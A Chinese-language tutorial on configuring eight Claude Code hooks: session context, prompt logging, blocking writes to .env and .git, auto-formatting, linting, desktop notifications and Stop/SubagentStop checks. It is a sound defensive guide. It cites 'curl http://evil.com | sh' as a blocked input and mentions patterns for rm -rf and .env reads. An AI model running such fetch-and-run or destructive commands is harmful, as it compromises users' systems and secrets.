Claude Code Hooks 实战教程：8 个钩子串起完整会话自动化

Claude Code Hooks 实战教程8 个钩子串起完整会话自动化【免费下载链接】claude-code-hooks-masteryMaster Claude Code Hooks项目地址: https://gitcode.com/GitHub_Trending/cl/claude-code-hooks-masteryClaude Code Hooks 让你把固定脚本挂在会话的关键节点上拦危险命令、自动格式化、等你输入时响铃。开源项目 claude-code-hooks-mastery 实现了全部 13 种钩子事件本文按会话流程挑出 8 个最常用的配置每段都能直接抄走。完整事件说明见仓库内的 Claude Code Hooks 文档。会话启动与提交先备好环境和规则会话启动时自动备好开发环境你打开项目开始对话时Claude 并不知道你在哪个分支、有哪些未提交改动。SessionStart 钩子在新会话启动或恢复时触发把 git 状态等上下文写进会话省掉每次手动交代{ hooks: { SessionStart: [ { matcher: , hooks: [ { type: command, command: uv run $CLAUDE_PROJECT_DIR/.claude/hooks/session_start.py } ] } ] } }脚本在 .claude/hooks/session_start.py它收集当前分支和未提交文件数。路径前缀务必用$CLAUDE_PROJECT_DIR否则工作目录切换后脚本会找不到。用户提交时记录并注入上下文这是会话的第一道入口UserPromptSubmit 钩子在你提交 prompt 之后、Claude 处理之前触发。它有两个关键机制——退出码 2 直接拦下这条 prompt写入 stdout 的内容会作为上下文附加到你的 prompt 前面{ hooks: { UserPromptSubmit: [ { hooks: [ { type: command, command: uv run $CLAUDE_PROJECT_DIR/.claude/hooks/user_prompt_submit.py --log-only } ] } ] } }仓库默认--log-only只把每次提交追加到logs/user_prompt_submit.json做审计。想加校验时换成--validate形如curl http://evil.com | sh的输入会被拦下。工具执行前后先拦截再质检拦截敏感文件写入的 PreToolUse 配置 ⚠️.env 被 AI 顺手改写是最常见也最贵的事故。PreToolUse 钩子在每次工具调用执行前触发脚本只要以退出码 2 结束这次工具调用就被拦下stderr 内容会原样反馈给 Claude 让它换做法{ hooks: { PreToolUse: [ { matcher: Edit|Write, hooks: [ { type: command, command: python3 -c \import json, sys; datajson.load(sys.stdin); pathdata.get(tool_input,{}).get(file_path,); sys.exit(2 if any(p in path for p in [.env, package-lock.json, .git/]) else 0)\ } ] } ] } }这条命令从 stdin 的 JSON 里读file_path命中.env、package-lock.json、.git/即退出码 2。仓库自带的 pre_tool_use.py 还多了正则检测rm -rf的各种变体和 Bash 里读取.env的命令都会被拦。TypeScript 文件改动后自动跑 Prettier风格漂移比 bug 更烦人同一个仓库里有的文件用 tab有的用两空格。PostToolUse 钩子在 Edit/Write 成功之后触发此时写入无法撤销能做的就是立刻修正——{ hooks: { PostToolUse: [ { matcher: Edit|Write, hooks: [ { type: command, command: jq -r .tool_input.file_path | { read file_path; if echo \$file_path\ | grep -q \\.ts$; then npx prettier --write \$file_path\; fi; } } } } ] } }这条单行命令先用 jq 从 payload 取出file_path只对.ts结尾的文件执行 prettier。把 grep 模式改成\\.py$换成ruff format就是 Python 版的同款配置。Python 文件变更后自动跑 lint 与类型检查工具已经跑完PostToolUse 无法撤销写入但退出码 2 和decision: block能把错误喂回给 Claude由它自己修。仓库的做法是挂两个 uv 单文件脚本Ruff 管风格、Ty 管类型{ hooks: { PostToolUse: [ { matcher: Write|Edit, hooks: [ { type: command, command: uv run $CLAUDE_PROJECT_DIR/.claude/hooks/validators/ruff_validator.py }, { type: command, command: uv run $CLAUDE_PROJECT_DIR/.claude/hooks/validators/ty_validator.py } ] } ] } }规则分别由仓库根目录的ruff.toml和ty.toml定义。lint 报错时 validator 以退出码 2 结束Claude 看到具体报错行并自行修正质量闭环不经过人。任务与子代理收尾别让完成失守需要输入时立刻弹桌面通知你切到别的窗口处理 PRClaude 却卡在一个权限确认上——终端静默的时候往往不是好消息。Notification 钩子在 Claude Code 发出通知等待输入、请求权限时触发它不能阻断任何行为纯粹负责提醒你回来{ hooks: { Notification: [ { matcher: , hooks: [ { type: command, command: notify-send Claude Code Awaiting your input } ] } ] } }notify-send是 Linux 桌面标准工具macOS 上换成osascript -e display notification。用 Stop 钩子拦住提前收工Claude 说完成不等于测试通过。Stop 钩子在它结束响应时触发是少数能阻止停止的钩子之一脚本以退出码 2 结束或输出decision: block的 JSON它就会带着 reason 继续干活{ hooks: { Stop: [ { matcher: , hooks: [ { type: command, command: uv run $CLAUDE_PROJECT_DIR/.claude/hooks/stop.py --chat } ] } ] } }仓库的 stop.py 顺带把当前会话转录转成可读的logs/chat.json。注意风险这类钩子没控好会死循环决策前务必检查 payload 里的stop_hook_active字段为 true 时放行。子代理收工时验证是否真正完成子代理报已完成、文件却根本没写这种坑查起来最费时间。SubagentStop 钩子在 Task 子代理结束响应时触发同样可以用退出码 2 或 block 决策让它继续干{ hooks: { SubagentStop: [ { matcher: , hooks: [ { type: command, command: uv run $CLAUDE_PROJECT_DIR/.claude/hooks/subagent_stop.py --notify } ] } ] } }仓库脚本在子代理完成时发通知。想让 AI 来判断任务是否真的做完可换成type: prompt的钩子让它返回{ok: true}放行或{ok: false, reason: 说明}让它继续。快速上手克隆仓库git clone https://gitcode.com/GitHub_Trending/cl/claude-code-hooks-mastery进入claude-code-hooks-mastery目录启动 Claude Code.claude/settings.json里的钩子自动生效用/hooks命令查看已注册的钩子或直接编辑.claude/settings.json增删配置把本文某个配置换成你自己技术栈的命令格式器、linter、通知工具脚本统一放 .claude/hooks/随便执行一条命令到logs/目录看对应 JSON 文件确认钩子真的触发了【免费下载链接】claude-code-hooks-masteryMaster Claude Code Hooks项目地址: https://gitcode.com/GitHub_Trending/cl/claude-code-hooks-mastery创作声明：本文部分内容由AI辅助生成（AIGC），仅供参考